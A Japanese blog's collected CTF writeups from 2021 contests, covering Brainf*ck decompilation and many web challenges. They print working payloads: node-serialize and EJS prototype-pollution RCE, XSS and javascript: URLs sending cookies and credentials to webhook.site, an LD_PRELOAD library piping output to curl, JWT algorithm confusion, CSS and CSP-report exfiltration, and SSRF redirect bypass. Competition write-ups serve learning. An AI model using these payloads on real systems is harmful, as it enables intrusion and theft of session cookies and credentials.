st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TSG Live! CTF 6 writeup

[Web] Truth about Pi

lodash.get4.4.2 では __proto__ にもアクセスできる。''.__proto__.length0

curl 'http://chal.hakatashi.com:10043/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'index=__proto__.length'

[Rev] decompile me

Brainf*ckが実行ファイル(ELF)にコンパイルされてしまった。出力されたELFは objdump -d bf ではなぜか逆アセンブルできないので objdump -D -b binary -m i386:x86-64 -M intel bf > bf.s で無理やり逆アセンブルする。続いて雑にデコンパイル

with open('bf.s') as f:
  s = f.read()
  s = s[s.index('d2:'):s.index('25f1:')]
  s = s.splitlines()

s = iter(s)
res = []
jmps = {}

def find(dst):
  for i, x in enumerate(res):
    if x[0] == dst:
      return i
  return None

line = next(s)
try:
  while True:
    cur = line.split()[0][:-1]
    if 'rax,0x1' in line:
      next(s)
      next(s)
      next(s)
      next(s)
      res.append([cur, '.'])
    elif 'rax,0x0' in line:
      next(s) # mov rdi, ...
      next(s) # mov rsi, rbx
      next(s) # mov rdx, 1
      next(s) # syscall
      res.append([cur, ','])
    elif 'inc    rbx' in line:
      res.append([cur, '>'])
    elif 'dec    rbx' in line:
      res.append([cur, '<'])
    elif 'mov    al,BYTE PTR [rbx]' in line:
      line = next(s)
      if 'inc    al' in line:
        next(s)
        res.append([cur, '+'])
      elif 'dec    al' in line:
        next(s)
        res.append([cur, '-'])
      else:
        res.append([cur, ''])
        jmp = next(s).split()
        cur = jmp[0][:-1]
        res.append([cur, ''])
        cmp = jmp[-2]
        dst = jmp[-1][2:]
        if cmp == 'je':
          pass
        elif cmp == 'jne':
          pass
        jmps[dst] = cmp
    line = next(s)
except:
  pass

code = ''
for addr, inst in res:
  if addr in jmps:
    code += ']['[jmps[addr] == 'jne']
    del jmps[addr]
  code += inst

print(code)

出力されたBFコードをよく見ると、文字入力(,)の前に [<->-]<[<+>[-]]<> というコードがほぼ必ずくっついていることがわかる。よくわからないけど、これを削除した上で文字入力を文字出力に変えてやるとフラグが得られる。

console.log(a = `>>+++++++[<++++++++++++>-]<[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++>-]<-[<->-]<[<+>[-]]<>,>>++++++++[<+++++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++++>-]<++[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++++++++[<+++++++++++>-]<++[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++>-]<-[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++[<+++++++++>-]<[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++++>-]<++[<->-]<[<+>[-]]<>,>>++++++[<++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++++[<++++++++++++++>-]<-[<->-]<[<+>[-]]<>+<[>->>++++++[<+++++++++++++>-]<.>>+++++++[<++++++++++>-]<+.>>++[<+++++>-]<.<<<<[-]]>[->++++++++[<++++++++++>-]<-.>>+++++[<+++++++++++++++>-]<.>>++[<+++++>-]<.>]`.replaceAll('[<->-]<[<+>[-]]<>', '').replaceAll(',', '.'))

Zh3r0 CTF V2 writeup

6/4 - 6/6という日程で開催された。zer0ptsで参加して1位🎉

[Web] sparta

node-serialize というライブラリの脆弱性を使うとRCEできる。

$ curl -X POST -i http://web.zh3r0.cf:6666/guest -b "guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXR1cm4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgL2ZsYWcudHh0Jyk7fSgpIn0="
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 152
ETag: W/"98-wa7FnPEe8H/xgAxndfDMHqagFhM"
Date: Fri, 04 Jun 2021 10:46:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Hello zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

[Web] bxxs

Blind XSS。次のペイロードhttp://0.0.0.0:8080/Secret_admin_cookie_panel というパスにXSSがあることがわかる。/Secret_admin_cookie_panel にアクセスした後に /flag にアクセスしたらフラグが得られた記憶があるんだけど、詳しくは覚えていない。

<script>(async()=>{navigator.sendBeacon('https://webhook.site/...',location.href)})()</script>

[Web] Flags

こんな感じのCSPがある中でHTML Injectionができる。script-src はあるが、default-srcstyle-src もないのでCSSでフラグを読み出す。

        <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-56b1e164d7ad85bd42b50fec2c59d2b5d680cbc84b45a8069a30aba8528f0df030aa431126513432a58d98a437cd834e1cc67cb474ba01364960602e9e1edaf0'; object-src 'none'; base-uri 'none'require-trusted-types-for 'script'; frame-src 'none'">

読み出したいものは input の属性値なので input[value^=...] { background: url(...); } みたいな単純なペイロードでなんとかなる。

[Web] Original Store

XSS botjavascript: スキームも受け付けてしまうので、開かれているWebサイトのコンテキストで好きなJavaScriptコードを実行させることができる。javascript:location.href=['https://webhook.site/...?',document.cookie]PHPSESSID が得られる。

[Web] Original Store v2

ログイン画面から /api/ というディレクトリの存在がわかる。アクセスするとディレクトリのインデックスが表示されるが、そのうち /api/v1/authorize.php はログイン中のアカウントのユーザ名とパスワードをJSONで返す。XSS botCookieをリークしなくなったけど、javascript: スキームは相変わらず受け付けるので、さっきのAPIを使ってadminのユーザ名とパスワードを奪う。CORSをなんかアレするのが想定解法だったらしい。

javascript:(async()%3D>{location.href=['https://webhook.site/...?',encodeURIComponent(await(await fetch('/api/v1/authorize.php')).text())]})()

Pwn2Win CTF 2021 writeup

5/29 - 5/31という日程で開催された。uuunderflowで参加して2位。

[Web] Illusion

サーバサイドのPrototype Pollution + EJSのgadgetでRCE。

$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315/change_status" -H "Content-Type: application/json" -d '{"constructor/prototype/outputFunctionName":"x;return process.mainModule.require(`child_process`).execSync(`/readflag`);x"}'
{"status":"online","cameras":"online","doors":"online","dome":"online","turrets":"online"}
$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315"
CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

Prototype Pollution周りで便利な記事など:

[Web] HackUs

CodiMD 2.4.1の0day問。Mermaid 8.6.4が使われているのでPrototype Pollutionができ、ほかのライブラリ(例えばjQuery)のgadgetを使えばJavaScriptコードの実行に持ち込める。ただし、CSPが厳しいので過去問のwriteupを参考にGoogle Tag Managerを使ってバイパスする。

[Web] Small Talk

shvlのPrototype Pollution + s1r1usさんとPOSIXさんが見つけたPopperJSのgadgetでなんとかした。

<body>
  <style>
  iframe {
    width: 300px;
    height: 200px;
  }
  </style>
  <img src="http://httpstat.us/200?sleep=100000">
  <img src="https://webhook.site/...?start">
  <script>
  let f = false;

  function go(url) {
    const iframe = document.createElement('iframe');
    iframe.src = url;
    iframe.onload = () => {
      if (!f) {
        navigator.sendBeacon('https://webhook.site/...','check');
        f = true;
      }
      iframe.contentWindow.postMessage(JSON.stringify({
        'a.__proto__.arrow': {
          "onfocus": "navigator.sendBeacon('https://webhook.site/...',document.cookie)",
          "style": "position:fixed;z-index:9;left:0;top:0;width:100px !important;height:100px !important;background:red",
          "contenteditable": true,
          "id": "hoge",
          "class": "fuga"
        },
        b: 123
      }), '*');

      setTimeout(() => {
        iframe.onload = () => {};
        iframe.src += '#hoge';
      }, 10);
    };
    document.body.appendChild(iframe);
  }
  for (let i = 0; i < 10; i++) {
    go('https://small-talk.coach:1337');
  }
  </script>
</body>

[Pwn] C'mon See my Vulns

PHP向けのオリジナルのライブラリにある脆弱性を探す問題のはずが、disable_functions がゆるゆるだったために既知のバイパステクでOSコマンドの実行に持ち込めてしまった。まず適当な共有ライブラリを作る。

// gcc -shared a.c -o a.so
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("/opt/readflag | curl https://webhook.site/... --data-binary @-");
    return 1;
}

putenv('LD_PRELOAD=...') + mail で差し替えた getuid が呼ばれる。

{{file_put_contents('poyoyon.so',file_get_contents('http://.../a.so'))}}
{{putenv('LD_PRELOAD=./poyoyon.so')&&mail('','','')}}

disable_functions バイパス周りで便利な記事など:

open_basedir バイパス周りで便利な記事など:

BCACTF 2.0 writeup

6/11 - 6/14という日程で開催された。zer0ptsで参加して3位。

[webex 200] Regular Website (87 solves)

Webexと聞くとCiscoを思い出してしまうけど、こちらのwebexはweb exploitationの略。XSS botのコードはこんな感じ:

    const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
    const page = await (await browser).newPage();
    await page.setJavaScriptEnabled(true);
    try {
        await page.setContent(`
        <!DOCTYPE html>
        <html>
            <head>
                <meta charset="utf-8">
                <title>Comment</title>
            </head>
            <body>
                <p>Welcome to the Regular Website admin panel.</p>
                <h2>Site Stats</h2>
                <p><strong>Comments:</strong> ???</p>
                <p><strong>Flag:</strong> ${flag}</p>
                <h2>Latest Comment</h2>
                ${sanitized}
            </body>
        </html>
        `, {timeout: 3000, waitUntil: "networkidle2"});
    } catch (e) {
        console.error(e);
        ctx.status = 500;
        ctx.body = "error viewing comment";
        await page.close();
        return;
    }
    ctx.body = `The author of this site has ${verbs[Math.floor(Math.random() * verbs.length)]} your comment.`;
    await page.close();

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!"); ですべてのHTMLタグが削除されてしまうように思えるが、> で閉じなければ回避できる。<img src=x onerror="navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)" でフラグが得られる。

[webex 300] L10N Poll (46 solves)

JWT + Path Traversal問。署名の検証に使用するアルゴリズムはチェックされていないから、ヘッダの algRS256 から HS256 に変えてやるとRS256の公開鍵がHS256の秘密鍵として使われてしまう。公開鍵は以下の手順で得られる。

$ curl -i http://web.bcactf.com:49159/localization-language -H "Content-Type: application/json" -d '{"language":"key"}'
HTTP/1.1 302 Found
Set-Cookie: lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts; path=/; httponly
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 33
Date: Sun, 13 Jun 2021 06:20:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Redirecting to <a href="/">/</a>.
$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts"
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf
bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh
PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW
M7N2P4b2Xf3p7ZtaewIDAQAB
-----END PUBLIC KEY-----

{"language": "flag.txt","iat": 1623565107} というデータをJSON Web Tokens - jwt.ioで署名してCookieにセットするとフラグが得られる。

$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoxNjIzNTY1MTA3fQ.UY-gbngKIaPZgCVsmCUYfkQVcU365AMICv3WvOwsnec"
bcactf{je_suis_desole_jai_utilise_google_translate_beaucoup_dfW78ertjk}

JWT周りで便利な記事やツール:

[webex 400] Stylish (28 solves)

CSS Injection。読み出したいテキストは input 要素の属性値などではないが、[0-9A-F] と使われる文字種は決まっているし、どの文字も一度しか出現しないので @font-faceunicode-range を使う手法で読み出せる。

// ペイロード作るやつ
var payload = '';
for (const c of '0123456789ABCDEF') {
  payload += `@font-face{font-family:a;src:url(http://...?${c});unicode-range:U+00${c.charCodeAt(0).toString(16)}}`
}
payload += `
.d{font-family:a;}
`;

var bg = document.querySelector('#bg')
var bgs = "#ffffff;}" + payload + "*{";
bg.type = 'text';
bg.value = bgs;

CSS Injection周りで便利な記事やツール:

[webex 450] Completely Secure Publishing (24 solves)

問題名の通りContent Security Policy問。report-uri というディレクティブを使って、こんな感じでユーザが投稿する記事ごとにCSP違反の情報を収集していた:

            res.set("Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=${req.params.id}`);
app.post("/report-csp-violation", (req, res) => {
    if (!req.query || typeof req.query.id !== "string") return res.status(400).send("id must be a string");
    if (typeof req.body !== "object" || typeof req.body["csp-report"] !== "object") return res.status(400).send("not a csp report");
    db.update({_id: req.query.id}, {$inc: {cspViolations: 1, cspChars: req.body["csp-report"]["script-sample"]?.length || 0}}, {}, (error, count, _) => {
        if (error) {
            console.error(error);
            res.sendStatus(500);
        } else if (count > 0) {
            res.sendStatus(200);
        } else {
            res.sendStatus(404);
        }
    });
});

report-uri /report-csp-violation?id=${req.params.id} からわかるようにHTTP Header Injectionができる。このIDにNoSQL Injectionで nekoneko http:\\example.com みたいな文字列を仕込んでやると、CSP違反があれば nekoneko だけでなく http://example.com にもその内容が報告されるようになる。

CSPはユーザが投稿した記事を閲覧できるページで有効化されており、adminがアクセスした場合にはHTML Injectionが可能な箇所以降にフラグが出力されるので、<style> を仕込んでやればフラグを style 要素のコンテンツに含めさせることができる。インラインのCSSstyle-src 'report-sample' に違反しているから、フラグは http://example.com に送信される。

$ curl 'http://webp.bcactf.com:49154/publish' -H 'Content-Type: application/json' --data-raw '{"title":"abc","content":"<style>","_id":"nekoneko http:\u005c\u005cexample.com"}'
$ curl 'http://webp.bcactf.com:49154/visit' -H 'Content-Type: application/json' --data-raw '{"id":"nekoneko http:\u005c\u005cexample.com"}'
$ sudo ncat -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 192.155.88.173.
Ncat: Connection from 192.155.88.173:35966.
POST / HTTP/1.1
Host: example.com
Connection: keep-alive
Content-Length: 794
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Origin: http://localhost:1337
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate

{"csp-report":{"document-uri":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","referrer":"","violated-directive":"style-src-elem","effective-directive":"style-src-elem","original-policy":"child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=nekoneko http:\\\\example.com","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","status-code":200,"script-sample":"\u003Cp\u003EPrize: bcactf{csp_g0_brr_g84en9}\u003C/p\u003E\u003C"}}

[webex 450] Gerald Catalog (7 solves)

SSRF + プッシュ通知問。ソースコードがちょっと複雑なためか、解法は簡単なはずなんだけど正答チーム数は少なかった。まずSSRFについて、adminに http://localhost:1337/gerald/(adminしか読めない記事のID) を踏ませることさえできればフラグがプッシュ通知で飛んでくるんだけど、adminがアクセスするURLは以下のようにポート番号やらホスト名やらがチェックされている。これはリダイレクトでバイパスできる。

export function validateSubscription(data: unknown): Subscription | undefined {
    if (typeof data !== "object") return;
    const subscription = data as Record<any, unknown>;
    if (typeof subscription.endpoint !== "string") return;
    if (typeof subscription.keys !== "object") return;
    const keys = subscription.keys as Record<any, unknown>;
    if (typeof keys.auth !== "string") return;
    if (typeof keys.p256dh !== "string") return;

    try {
        const url = new URL(subscription.endpoint);
        if (url.port !== "80" && url.port !== "443" && url.port !== "") return;
        if (bannedHosts.includes(url.hostname)) return;
        if (url.host.includes(":")) return;
        if (url.host.includes("bcactf.com")) return;
        if (url.host.includes("192.168.")) return;
        if (url.hostname.startsWith("127.")) return;
        if (url.protocol !== "http:" && url.protocol !== "https:") return;
    } catch (e) {
        return;
    }

    return {endpoint: subscription.endpoint, keys: {auth: keys.auth, p256dh: keys.p256dh}};
}

fb062fed-59d8-404f-a0e7-a89cac65c847 というadminしか読めない記事、ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce という誰でも読める記事があるとして、以下の手順でフラグがプッシュ通知で飛んでくる。sw.js に適当にブレークポイントを置いておけばその内容を読めるはず。

$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce/subscription' \
  -X 'PUT' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: lion-token=…' \
  --data-raw '{"endpoint":"http://(localhost/gerald/fb062fed-59d8-404f-a0e7-a89cac65c847にリダイレクトさせるページのURL)","expirationTime":null,"keys":{"p256dh":"...","auth":"..."}}' \
  --insecure
$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce' --insecure

f:id:st98:20210617035105p:plain